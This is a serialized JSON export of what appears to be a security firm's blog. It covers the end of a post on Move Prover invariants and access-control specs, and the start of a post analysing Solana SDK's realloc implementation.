!",{"type":26,"tag":475,"props":12574,"children":12575},{"style":2375},[12576],{"type":32,"value":6418},{"type":26,"tag":475,"props":12578,"children":12579},{"style":499},[12580],{"type":32,"value":5519},{"type":26,"tag":475,"props":12582,"children":12583},{"style":505},[12584],{"type":32,"value":12585},"Offer",{"type":26,"tag":475,"props":12587,"children":12588},{"style":499},[12589],{"type":32,"value":5519},{"type":26,"tag":475,"props":12591,"children":12592},{"style":505},[12593],{"type":32,"value":12594},"Offered",{"type":26,"tag":475,"props":12596,"children":12597},{"style":499},[12598],{"type":32,"value":6440},{"type":26,"tag":475,"props":12600,"children":12601},{"style":2375},[12602],{"type":32,"value":12603},"offer_address",{"type":26,"tag":475,"props":12605,"children":12606},{"style":499},[12607],{"type":32,"value":3533},{"type":26,"tag":475,"props":12609,"children":12610},{"class":477,"line":582},[12611,12615,12619,12624,12628,12632,12636,12640,12645,12649,12653,12657,12662],{"type":26,"tag":475,"props":12612,"children":12613},{"style":2375},[12614],{"type":32,"value":8764},{"type":26,"tag":475,"props":12616,"children":12617},{"style":714},[12618],{"type":32,"value":12572},{"type":26,"tag":475,"props":12620,"children":12621},{"style":2375},[12622],{"type":32,"value":12623},"is_allowed_recipient",{"type":26,"tag":475,"props":12625,"children":12626},{"style":499},[12627],{"type":32,"value":5519},{"type":26,"tag":475,"props":12629,"children":12630},{"style":505},[12631],{"type":32,"value":12594},{"type":26,"tag":475,"props":12633,"children":12634},{"style":499},[12635],{"type":32,"value":7323},{"type":26,"tag":475,"props":12637,"children":12638},{"style":2375},[12639],{"type":32,"value":12603},{"type":26,"tag":475,"props":12641,"children":12642},{"style":499},[12643],{"type":32,"value":12644},", signer",{"type":26,"tag":475,"props":12646,"children":12647},{"style":714},[12648],{"type":32,"value":3187},{"type":26,"tag":475,"props":12650,"children":12651},{"style":493},[12652],{"type":32,"value":6922},{"type":26,"tag":475,"props":12654,"children":12655},{"style":499},[12656],{"type":32,"value":626},{"type":26,"tag":475,"props":12658,"children":12659},{"style":2375},[12660],{"type":32,"value":12661},"account",{"type":26,"tag":475,"props":12663,"children":12664},{"style":499},[12665],{"type":32,"value":6936},{"type":26,"tag":475,"props":12667,"children":12668},{"class":477,"line":596},[12669,12673,12677,12681,12685,12689,12693,12697,12701,12705],{"type":26,"tag":475,"props":12670,"children":12671},{"style":2375},[12672],{"type":32,"value":7898},{"type":26,"tag":475,"props":12674,"children":12675},{"style":714},[12676],{"type":32,"value":12572},{"type":26,"tag":475,"props":12678,"children":12679},{"style":2375},[12680],{"type":32,"value":6418},{"type":26,"tag":475,"props":12682,"children":12683},{"style":499},[12684],{"type":32,"value":5519},{"type":26,"tag":475,"props":12686,"children":12687},{"style":505},[12688],{"type":32,"value":12585},{"type":26,"tag":475,"props":12690,"children":12691},{"style":499},[12692],{"type":32,"value":5519},{"type":26,"tag":475,"props":12694,"children":12695},{"style":505},[12696],{"type":32,"value":12594},{"type":26,"tag":475,"props":12698,"children":12699},{"style":499},[12700],{"type":32,"value":6440},{"type":26,"tag":475,"props":12702,"children":12703},{"style":2375},[12704],{"type":32,"value":12603},{"type":26,"tag":475,"props":12706,"children":12707},{"style":499},[12708],{"type":32,"value":3533},{"type":26,"tag":475,"props":12710,"children":12711},{"class":477,"line":610},[12712,12716,12720,12724,12729,12733,12738,12742,12746,12750,12754,12758,12762,12766,12770],{"type":26,"tag":475,"props":12713,"children":12714},{"style":2375},[12715],{"type":32,"value":7898},{"type":26,"tag":475,"props":12717,"children":12718},{"style":2375},[12719],{"type":32,"value":8870},{"type":26,"tag":475,"props":12721,"children":12722},{"style":714},[12723],{"type":32,"value":2990},{"type":26,"tag":475,"props":12725,"children":12726},{"style":493},[12727],{"type":32,"value":12728}," old",{"type":26,"tag":475,"props":12730,"children":12731},{"style":499},[12732],{"type":32,"value":626},{"type":26,"tag":475,"props":12734,"children":12735},{"style":2375},[12736],{"type":32,"value":12737},"global",{"type":26,"tag":475,"props":12739,"children":12740},{"style":499},[12741],{"type":32,"value":5519},{"type":26,"tag":475,"props":12743,"children":12744},{"style":505},[12745],{"type":32,"value":12585},{"type":26,"tag":475,"props":12747,"children":12748},{"style":499},[12749],{"type":32,"value":5519},{"type":26,"tag":475,"props":12751,"children":12752},{"style":505},[12753],{"type":32,"value":12594},{"type":26,"tag":475,"props":12755,"children":12756},{"style":499},[12757],{"type":32,"value":6440},{"type":26,"tag":475,"props":12759,"children":12760},{"style":2375},[12761],{"type":32,"value":12603},{"type":26,"tag":475,"props":12763,"children":12764},{"style":499},[12765],{"type":32,"value":2835},{"type":26,"tag":475,"props":12767,"children":12768},{"style":714},[12769],{"type":32,"value":353},{"type":26,"tag":475,"props":12771,"children":12772},{"style":499},[12773],{"type":32,"value":12774},"offered);\n",{"type":26,"tag":475,"props":12776,"children":12777},{"class":477,"line":650},[12778],{"type":26,"tag":475,"props":12779,"children":12780},{"style":499},[12781],{"type":32,"value":851},{"type":26,"tag":35,"props":12783,"children":12784},{},[12785],{"type":32,"value":12786},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":26,"tag":41,"props":12788,"children":12790},{"id":12789},"complex-mathematical-formulae",[12791],{"type":32,"value":12792},"Complex Mathematical Formulae",{"type":26,"tag":35,"props":12794,"children":12795},{},[12796,12798,12803],{"type":32,"value":12797},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":26,"tag":2615,"props":12799,"children":12800},{},[12801],{"type":32,"value":12802},"always",{"type":32,"value":12804}," the output.",{"type":26,"tag":35,"props":12806,"children":12807},{},[12808],{"type":32,"value":12809},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":26,"tag":35,"props":12811,"children":12812},{},[12813,12815,12822],{"type":32,"value":12814},"For example, in our work with ",{"type":26,"tag":116,"props":12816,"children":12819},{"href":12817,"rel":12818},"https://laminar.markets/",[120],[12820],{"type":32,"value":12821},"Laminar Markets",{"type":32,"value":12823},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":26,"tag":41,"props":12825,"children":12827},{"id":12826},"data-invariants",[12828],{"type":32,"value":12829},"Data Invariants",{"type":26,"tag":35,"props":12831,"children":12832},{},[12833,12835,12841,12842,12848,12850,12856,12858,12864],{"type":32,"value":12834},"Formal verification provides the best environment to verify that certain ",{"type":26,"tag":53,"props":12836,"children":12838},{"className":12837},[],[12839],{"type":32,"value":12840},"variables",{"type":32,"value":455},{"type":26,"tag":53,"props":12843,"children":12845},{"className":12844},[],[12846],{"type":32,"value":12847},"resources",{"type":32,"value":12849}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":26,"tag":53,"props":12851,"children":12853},{"className":12852},[],[12854],{"type":32,"value":12855},"index",{"type":32,"value":12857}," is never greater than 4 using a ",{"type":26,"tag":53,"props":12859,"children":12861},{"className":12860},[],[12862],{"type":32,"value":12863},"struct invariant",{"type":32,"value":353},{"type":26,"tag":465,"props":12866,"children":12868},{"code":12867,"language":2684,"meta":7,"className":2685,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[12869],{"type":26,"tag":53,"props":12870,"children":12871},{"__ignoreMap":7},[12872,12888,12905,12912,12919,12934,12958],{"type":26,"tag":475,"props":12873,"children":12874},{"class":477,"line":478},[12875,12879,12884],{"type":26,"tag":475,"props":12876,"children":12877},{"style":482},[12878],{"type":32,"value":9111},{"type":26,"tag":475,"props":12880,"children":12881},{"style":505},[12882],{"type":32,"value":12883}," Type",{"type":26,"tag":475,"props":12885,"children":12886},{"style":499},[12887],{"type":32,"value":579},{"type":26,"tag":475,"props":12889,"children":12890},{"class":477,"line":516},[12891,12896,12900],{"type":26,"tag":475,"props":12892,"children":12893},{"style":2375},[12894],{"type":32,"value":12895}," index",{"type":26,"tag":475,"props":12897,"children":12898},{"style":714},[12899],{"type":32,"value":179},{"type":26,"tag":475,"props":12901,"children":12902},{"style":505},[12903],{"type":32,"value":12904}," u64\n",{"type":26,"tag":475,"props":12906,"children":12907},{"class":477,"line":539},[12908],{"type":26,"tag":475,"props":12909,"children":12910},{"style":499},[12911],{"type":32,"value":3607},{"type":26,"tag":475,"props":12913,"children":12914},{"class":477,"line":548},[12915],{"type":26,"tag":475,"props":12916,"children":12917},{"emptyLinePlaceholder":18},[12918],{"type":32,"value":545},{"type":26,"tag":475,"props":12920,"children":12921},{"class":477,"line":558},[12922,12926,12930],{"type":26,"tag":475,"props":12923,"children":12924},{"style":2375},[12925],{"type":32,"value":7986},{"type":26,"tag":475,"props":12927,"children":12928},{"style":505},[12929],{"type":32,"value":12883},{"type":26,"tag":475,"props":12931,"children":12932},{"style":499},[12933],{"type":32,"value":579},{"type":26,"tag":475,"props":12935,"children":12936},{"class":477,"line":582},[12937,12941,12946,12950,12954],{"type":26,"tag":475,"props":12938,"children":12939},{"style":2375},[12940],{"type":32,"value":8003},{"type":26,"tag":475,"props":12942,"children":12943},{"style":2375},[12944],{"type":32,"value":12945}," index",{"type":26,"tag":475,"props":12947,"children":12948},{"style":714},[12949],{"type":32,"value":8430},{"type":26,"tag":475,"props":12951,"children":12952},{"style":903},[12953],{"type":32,"value":11454},{"type":26,"tag":475,"props":12955,"children":12956},{"style":499},[12957],{"type":32,"value":2729},{"type":26,"tag":475,"props":12959,"children":12960},{"class":477,"line":596},[12961],{"type":26,"tag":475,"props":12962,"children":12963},{"style":499},[12964],{"type":32,"value":3607},{"type":26,"tag":35,"props":12966,"children":12967},{},[12968,12970,12977,12978,12984],{"type":32,"value":12969},"We were able to verify more complex properties in our recent audits for ",{"type":26,"tag":116,"props":12971,"children":12974},{"href":12972,"rel":12973},"https://layerzero.network/",[120],[12975],{"type":32,"value":12976},"LayerZero",{"type":32,"value":209},{"type":26,"tag":116,"props":12979,"children":12982},{"href":12980,"rel":12981},"http://ariesmarkets.xyz/",[120],[12983],{"type":32,"value":6503},{"type":32,"value":12985},", but the details are left as an exercise to the reader.",{"type":26,"tag":41,"props":12987,"children":12989},{"id":12988},"economic-invariants",[12990],{"type":32,"value":12991},"Economic Invariants.",{"type":26,"tag":35,"props":12993,"children":12994},{},[12995],{"type":32,"value":12996},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":26,"tag":35,"props":12998,"children":12999},{},[13000],{"type":32,"value":13001},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":26,"tag":465,"props":13003,"children":13004},{"code":7678,"language":2684,"meta":7,"className":2685,"style":7},[13005],{"type":26,"tag":53,"props":13006,"children":13007},{"__ignoreMap":7},[13008,13015,13098,13137,13156,13163,13178,13201,13224,13247],{"type":26,"tag":475,"props":13009,"children":13010},{"class":477,"line":478},[13011],{"type":26,"tag":475,"props":13012,"children":13013},{"style":552},[13014],{"type":32,"value":7690},{"type":26,"tag":475,"props":13016,"children":13017},{"class":477,"line":516},[13018,13022,13026,13030,13034,13038,13042,13046,13050,13054,13058,13062,13066,13070,13074,13078,13082,13086,13090,13094],{"type":26,"tag":475,"props":13019,"children":13020},{"style":2375},[13021],{"type":32,"value":6283},{"type":26,"tag":475,"props":13023,"children":13024},{"style":493},[13025],{"type":32,"value":7702},{"type":26,"tag":475,"props":13027,"children":13028},{"style":499},[13029],{"type":32,"value":626},{"type":26,"tag":475,"props":13031,"children":13032},{"style":2375},[13033],{"type":32,"value":7711},{"type":26,"tag":475,"props":13035,"children":13036},{"style":714},[13037],{"type":32,"value":179},{"type":26,"tag":475,"props":13039,"children":13040},{"style":505},[13041],{"type":32,"value":5573},{"type":26,"tag":475,"props":13043,"children":13044},{"style":499},[13045],{"type":32,"value":637},{"type":26,"tag":475,"props":13047,"children":13048},{"style":2375},[13049],{"type":32,"value":7728},{"type":26,"tag":475,"props":13051,"children":13052},{"style":714},[13053],{"type":32,"value":179},{"type":26,"tag":475,"props":13055,"children":13056},{"style":505},[13057],{"type":32,"value":5573},{"type":26,"tag":475,"props":13059,"children":13060},{"style":499},[13061],{"type":32,"value":2835},{"type":26,"tag":475,"props":13063,"children":13064},{"style":714},[13065],{"type":32,"value":179},{"type":26,"tag":475,"props":13067,"children":13068},{"style":499},[13069],{"type":32,"value":2775},{"type":26,"tag":475,"props":13071,"children":13072},{"style":505},[13073],{"type":32,"value":7753},{"type":26,"tag":475,"props":13075,"children":13076},{"style":499},[13077],{"type":32,"value":637},{"type":26,"tag":475,"props":13079,"children":13080},{"style":505},[13081],{"type":32,"value":7753},{"type":26,"tag":475,"props":13083,"children":13084},{"style":499},[13085],{"type":32,"value":2794},{"type":26,"tag":475,"props":13087,"children":13088},{"style":2375},[13089],{"type":32,"value":6057},{"type":26,"tag":475,"props":13091,"children":13092},{"style":505},[13093],{"type":32,"value":7774},{"type":26,"tag":475,"props":13095,"children":13096},{"style":499},[13097],{"type":32,"value":579},{"type":26,"tag":475,"props":13099,"children":13100},{"class":477,"line":539},[13101,13105,13109,13113,13117,13121,13125,13129,13133],{"type":26,"tag":475,"props":13102,"children":13103},{"style":482},[13104],{"type":32,"value":7786},{"type":26,"tag":475,"props":13106,"children":13107},{"style":2375},[13108],{"type":32,"value":7791},{"type":26,"tag":475,"props":13110,"children":13111},{"style":714},[13112],{"type":32,"value":2383},{"type":26,"tag":475,"props":13114,"children":13115},{"style":493},[13116],{"type":32,"value":7800},{"type":26,"tag":475,"props":13118,"children":13119},{"style":499},[13120],{"type":32,"value":626},{"type":26,"tag":475,"props":13122,"children":13123},{"style":2375},[13124],{"type":32,"value":7711},{"type":26,"tag":475,"props":13126,"children":13127},{"style":499},[13128],{"type":32,"value":637},{"type":26,"tag":475,"props":13130,"children":13131},{"style":2375},[13132],{"type":32,"value":7728},{"type":26,"tag":475,"props":13134,"children":13135},{"style":499},[13136],{"type":32,"value":3533},{"type":26,"tag":475,"props":13138,"children":13139},{"class":477,"line":548},[13140,13144,13148,13152],{"type":26,"tag":475,"props":13141,"children":13142},{"style":493},[13143],{"type":32,"value":7828},{"type":26,"tag":475,"props":13145,"children":13146},{"style":499},[13147],{"type":32,"value":626},{"type":26,"tag":475,"props":13149,"children":13150},{"style":2375},[13151],{"type":32,"value":7837},{"type":26,"tag":475,"props":13153,"children":13154},{"style":499},[13155],{"type":32,"value":647},{"type":26,"tag":475,"props":13157,"children":13158},{"class":477,"line":558},[13159],{"type":26,"tag":475,"props":13160,"children":13161},{"style":499},[13162],{"type":32,"value":5585},{"type":26,"tag":475,"props":13164,"children":13165},{"class":477,"line":582},[13166,13170,13174],{"type":26,"tag":475,"props":13167,"children":13168},{"style":2375},[13169],{"type":32,"value":7856},{"type":26,"tag":475,"props":13171,"children":13172},{"style":2375},[13173],{"type":32,"value":7702},{"type":26,"tag":475,"props":13175,"children":13176},{"style":499},[13177],{"type":32,"value":579},{"type":26,"tag":475,"props":13179,"children":13180},{"class":477,"line":596},[13181,13185,13189,13193,13197],{"type":26,"tag":475,"props":13182,"children":13183},{"style":2375},[13184],{"type":32,"value":7872},{"type":26,"tag":475,"props":13186,"children":13187},{"style":2375},[13188],{"type":32,"value":7877},{"type":26,"tag":475,"props":13190,"children":13191},{"style":714},[13192],{"type":32,"value":786},{"type":26,"tag":475,"props":13194,"children":13195},{"style":482},[13196],{"type":32,"value":7886},{"type":26,"tag":475,"props":13198,"children":13199},{"style":499},[13200],{"type":32,"value":2729},{"type":26,"tag":475,"props":13202,"children":13203},{"class":477,"line":610},[13204,13208,13212,13216,13220],{"type":26,"tag":475,"props":13205,"children":13206},{"style":2375},[13207],{"type":32,"value":7898},{"type":26,"tag":475,"props":13209,"children":13210},{"style":2375},[13211],{"type":32,"value":7903},{"type":26,"tag":475,"props":13213,"children":13214},{"style":714},[13215],{"type":32,"value":7908},{"type":26,"tag":475,"props":13217,"children":13218},{"style":2375},[13219],{"type":32,"value":7913},{"type":26,"tag":475,"props":13221,"children":13222},{"style":499},[13223],{"type":32,"value":2729},{"type":26,"tag":475,"props":13225,"children":13226},{"class":477,"line":650},[13227,13231,13235,13239,13243],{"type":26,"tag":475,"props":13228,"children":13229},{"style":2375},[13230],{"type":32,"value":7898},{"type":26,"tag":475,"props":13232,"children":13233},{"style":2375},[13234],{"type":32,"value":7929},{"type":26,"tag":475,"props":13236,"children":13237},{"style":714},[13238],{"type":32,"value":7908},{"type":26,"tag":475,"props":13240,"children":13241},{"style":2375},[13242],{"type":32,"value":7938},{"type":26,"tag":475,"props":13244,"children":13245},{"style":499},[13246],{"type":32,"value":2729},{"type":26,"tag":475,"props":13248,"children":13249},{"class":477,"line":679},[13250],{"type":26,"tag":475,"props":13251,"children":13252},{"style":499},[13253],{"type":32,"value":5585},{"type":26,"tag":35,"props":13255,"children":13256},{},[13257],{"type":32,"value":13258},"Some other ideas include",{"type":26,"tag":181,"props":13260,"children":13261},{},[13262,13267,13272],{"type":26,"tag":86,"props":13263,"children":13264},{},[13265],{"type":32,"value":13266},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":26,"tag":86,"props":13268,"children":13269},{},[13270],{"type":32,"value":13271},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":26,"tag":86,"props":13273,"children":13274},{},[13275],{"type":32,"value":13276},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":26,"tag":27,"props":13278,"children":13279},{"id":5022},[13280],{"type":32,"value":5025},{"type":26,"tag":35,"props":13282,"children":13283},{},[13284],{"type":32,"value":13285},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":26,"tag":35,"props":13287,"children":13288},{},[13289],{"type":32,"value":13290},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":26,"tag":35,"props":13292,"children":13293},{},[13294,13296,13301],{"type":32,"value":13295},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":26,"tag":116,"props":13297,"children":13299},{"href":8951,"rel":13298},[120],[13300],{"type":32,"value":8955},{"type":32,"value":353},{"type":26,"tag":2548,"props":13303,"children":13304},{},[13305],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":13307},[13308,13309,13312,13319],{"id":9015,"depth":516,"text":9018},{"id":9069,"depth":516,"text":9072,"children":13310},[13311],{"id":9318,"depth":539,"text":9314},{"id":12217,"depth":516,"text":12220,"children":13313},[13314,13315,13316,13317,13318],{"id":12233,"depth":539,"text":12236},{"id":12484,"depth":539,"text":12487},{"id":12789,"depth":539,"text":12792},{"id":12826,"depth":539,"text":12829},{"id":12988,"depth":539,"text":12991},{"id":5022,"depth":516,"text":5025},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":13324,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13325,"description":13326,"author":13327,"image":13328,"date":13331,"isFeatured":18,"onBlogPage":18,"tags":13332,"body":13333,"_type":2566,"_id":18451,"_source":2568,"_file":18452,"_stem":18453,"_extension":2571},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":13329,"height":13330,"width":17},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[2584,8979],{"type":23,"children":13334,"toc":18435},[13335,13363,13383,14053,14073,14084,14096,14229,14239,14245,14271,14610,14655,14982,15045,15058,15131,15199,15220,15233,15247,15595,15606,15611,15742,15793,15819,15831,16004,16140,16181,16218,16284,16289,16327,16381,16392,16535,16547,16553,16559,16592,16606,16728,16747,16775,16781,16871,16962,16968,16973,17020,17289,17364,17375,17402,17734,17746,17819,18092,18129,18431],{"type":26,"tag":35,"props":13336,"children":13337},{},[13338,13340,13346,13348,13353,13355,13361],{"type":32,"value":13339},"It all started with an audit of a program that used ",{"type":26,"tag":53,"props":13341,"children":13343},{"className":13342},[],[13344],{"type":32,"value":13345},"realloc",{"type":32,"value":13347}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":26,"tag":53,"props":13349,"children":13351},{"className":13350},[],[13352],{"type":32,"value":13345},{"type":32,"value":13354}," call (from ",{"type":26,"tag":53,"props":13356,"children":13358},{"className":13357},[],[13359],{"type":32,"value":13360},"solana_program",{"type":32,"value":13362},") would error out appropriately.",{"type":26,"tag":35,"props":13364,"children":13365},{},[13366,13368,13374,13375,13382],{"type":32,"value":13367},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":26,"tag":53,"props":13369,"children":13371},{"className":13370},[],[13372],{"type":32,"value":13373},"AccountInfo::realloc",{"type":32,"value":5213},{"type":26,"tag":116,"props":13376,"children":13379},{"href":13377,"rel":13378},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[120],[13380],{"type":32,"value":13381},"implemented",{"type":32,"value":179},{"type":26,"tag":465,"props":13384,"children":13386},{"className":2685,"code":13385,"language":2684,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[13387],{"type":26,"tag":53,"props":13388,"children":13389},{"__ignoreMap":7},[13390,13484,13518,13525,13533,13545,13553,13645,13678,13685,13693,13823,13854,13861,13868,13876,13910,13922,13971,13983,14012,14019,14026,14033,14046],{"type":26,"tag":475,"props":13391,"children":13392},{"class":477,"line":478},[13393,13398,13403,13408,13412,13416,13421,13425,13430,13434,13439,13443,13448,13452,13456,13460,13465,13470,13475,13480],{"type":26,"tag":475,"props":13394,"children":13395},{"style":482},[13396],{"type":32,"value":13397},"pub",{"type":26,"tag":475,"props":13399,"children":13400},{"style":482},[13401],{"type":32,"value":13402}," fn",{"type":26,"tag":475,"props":13404,"children":13405},{"style":493},[13406],{"type":32,"value":13407}," realloc",{"type":26,"tag":475,"props":13409,"children":13410},{"style":499},[13411],{"type":32,"value":626},{"type":26,"tag":475,"props":13413,"children":13414},{"style":714},[13415],{"type":32,"value":2816},{"type":26,"tag":475,"props":13417,"children":13418},{"style":482},[13419],{"type":32,"value":13420},"self",{"type":26,"tag":475,"props":13422,"children":13423},{"style":499},[13424],{"type":32,"value":637},{"type":26,"tag":475,"props":13426,"children":13427},{"style":2375},[13428],{"type":32,"value":13429},"new_len",{"type":26,"tag":475,"props":13431,"children":13432},{"style":714},[13433],{"type":32,"value":179},{"type":26,"tag":475,"props":13435,"children":13436},{"style":505},[13437],{"type":32,"value":13438}," usize",{"type":26,"tag":475,"props":13440,"children":13441},{"style":499},[13442],{"type":32,"value":637},{"type":26,"tag":475,"props":13444,"children":13445},{"style":2375},[13446],{"type":32,"value":13447},"zero_init",{"type":26,"tag":475,"props":13449,"children":13450},{"style":714},[13451],{"type":32,"value":179},{"type":26,"tag":475,"props":13453,"children":13454},{"style":505},[13455],{"type":32,"value":11759},{"type":26,"tag":475,"props":13457,"children":13458},{"style":499},[13459],{"type":32,"value":2794},{"type":26,"tag":475,"props":13461,"children":13462},{"style":714},[13463],{"type":32,"value":13464},"->",{"type":26,"tag":475,"props":13466,"children":13467},{"style":505},[13468],{"type":32,"value":13469}," Result",{"type":26,"tag":475,"props":13471,"children":13472},{"style":499},[13473],{"type":32,"value":13474},"\u003C(), ",{"type":26,"tag":475,"props":13476,"children":13477},{"style":505},[13478],{"type":32,"value":13479},"ProgramError",{"type":26,"tag":475,"props":13481,"children":13482},{"style":499},[13483],{"type":32,"value":6994},{"type":26,"tag":475,"props":13485,"children":13486},{"class":477,"line":516},[13487,13491,13496,13500,13505,13509,13514],{"type":26,"tag":475,"props":13488,"children":13489},{"style":482},[13490],{"type":32,"value":2705},{"type":26,"tag":475,"props":13492,"children":13493},{"style":2375},[13494],{"type":32,"value":13495}," orig_len",{"type":26,"tag":475,"props":13497,"children":13498},{"style":714},[13499],{"type":32,"value":2383},{"type":26,"tag":475,"props":13501,"children":13502},{"style":482},[13503],{"type":32,"value":13504}," self",{"type":26,"tag":475,"props":13506,"children":13507},{"style":714},[13508],{"type":32,"value":353},{"type":26,"tag":475,"props":13510,"children":13511},{"style":493},[13512],{"type":32,"value":13513},"data_len",{"type":26,"tag":475,"props":13515,"children":13516},{"style":499},[13517],{"type":32,"value":3376},{"type":26,"tag":475,"props":13519,"children":13520},{"class":477,"line":539},[13521],{"type":26,"tag":475,"props":13522,"children":13523},{"emptyLinePlaceholder":18},[13524],{"type":32,"value":545},{"type":26,"tag":475,"props":13526,"children":13527},{"class":477,"line":548},[13528],{"type":26,"tag":475,"props":13529,"children":13530},{"style":552},[13531],{"type":32,"value":13532}," // realloc\n",{"type":26,"tag":475,"props":13534,"children":13535},{"class":477,"line":558},[13536,13541],{"type":26,"tag":475,"props":13537,"children":13538},{"style":482},[13539],{"type":32,"value":13540}," unsafe",{"type":26,"tag":475,"props":13542,"children":13543},{"style":499},[13544],{"type":32,"value":579},{"type":26,"tag":475,"props":13546,"children":13547},{"class":477,"line":582},[13548],{"type":26,"tag":475,"props":13549,"children":13550},{"style":552},[13551],{"type":32,"value":13552}," // First set new length in the serialized data\n",{"type":26,"tag":475,"props":13554,"children":13555},{"class":477,"line":596},[13556,13560,13565,13569,13573,13577,13582,13587,13591,13596,13600,13604,13609,13613,13617,13621,13625,13629,13633,13637,13641],{"type":26,"tag":475,"props":13557,"children":13558},{"style":482},[13559],{"type":32,"value":2770},{"type":26,"tag":475,"props":13561,"children":13562},{"style":2375},[13563],{"type":32,"value":13564}," ptr",{"type":26,"tag":475,"props":13566,"children":13567},{"style":714},[13568],{"type":32,"value":2383},{"type":26,"tag":475,"props":13570,"children":13571},{"style":482},[13572],{"type":32,"value":13504},{"type":26,"tag":475,"props":13574,"children":13575},{"style":714},[13576],{"type":32,"value":353},{"type":26,"tag":475,"props":13578,"children":13579},{"style":493},[13580],{"type":32,"value":13581},"try_borrow_mut_data",{"type":26,"tag":475,"props":13583,"children":13584},{"style":499},[13585],{"type":32,"value":13586},"()",{"type":26,"tag":475,"props":13588,"children":13589},{"style":714},[13590],{"type":32,"value":2840},{"type":26,"tag":475,"props":13592,"children":13593},{"style":493},[13594],{"type":32,"value":13595},"as_mut_ptr",{"type":26,"tag":475,"props":13597,"children":13598},{"style":499},[13599],{"type":32,"value":13586},{"type":26,"tag":475,"props":13601,"children":13602},{"style":714},[13603],{"type":32,"value":353},{"type":26,"tag":475,"props":13605,"children":13606},{"style":493},[13607],{"type":32,"value":13608},"offset",{"type":26,"tag":475,"props":13610,"children":13611},{"style":499},[13612],{"type":32,"value":626},{"type":26,"tag":475,"props":13614,"children":13615},{"style":714},[13616],{"type":32,"value":4039},{"type":26,"tag":475,"props":13618,"children":13619},{"style":903},[13620],{"type":32,"value":3786},{"type":26,"tag":475,"props":13622,"children":13623},{"style":499},[13624],{"type":32,"value":2794},{"type":26,"tag":475,"props":13626,"children":13627},{"style":482},[13628],{"type":32,"value":8553},{"type":26,"tag":475,"props":13630,"children":13631},{"style":714},[13632],{"type":32,"value":9525},{"type":26,"tag":475,"props":13634,"children":13635},{"style":482},[13636],{"type":32,"value":3430},{"type":26,"tag":475,"props":13638,"children":13639},{"style":505},[13640],{"type":32,"value":5573},{"type":26,"tag":475,"props":13642,"children":13643},{"style":499},[13644],{"type":32,"value":2729},{"type":26,"tag":475,"props":13646,"children":13647},{"class":477,"line":610},[13648,13652,13657,13661,13666,13670,13674],{"type":26,"tag":475,"props":13649,"children":13650},{"style":714},[13651],{"type":32,"value":7463},{"type":26,"tag":475,"props":13653,"children":13654},{"style":2375},[13655],{"type":32,"value":13656},"ptr",{"type":26,"tag":475,"props":13658,"children":13659},{"style":714},[13660],{"type":32,"value":2383},{"type":26,"tag":475,"props":13662,"children":13663},{"style":2375},[13664],{"type":32,"value":13665}," new_len",{"type":26,"tag":475,"props":13667,"children":13668},{"style":482},[13669],{"type":32,"value":8539},{"type":26,"tag":475,"props":13671,"children":13672},{"style":505},[13673],{"type":32,"value":5573},{"type":26,"tag":475,"props":13675,"children":13676},{"style":499},[13677],{"type":32,"value":2729},{"type":26,"tag":475,"props":13679,"children":13680},{"class":477,"line":650},[13681],{"type":26,"tag":475,"props":13682,"children":13683},{"emptyLinePlaceholder":18},[13684],{"type":32,"value":545},{"type":26,"tag":475,"props":13686,"children":13687},{"class":477,"line":679},[13688],{"type":26,"tag":475,"props":13689,"children":13690},{"style":552},[13691],{"type":32,"value":13692}," // Then set the new length in the local 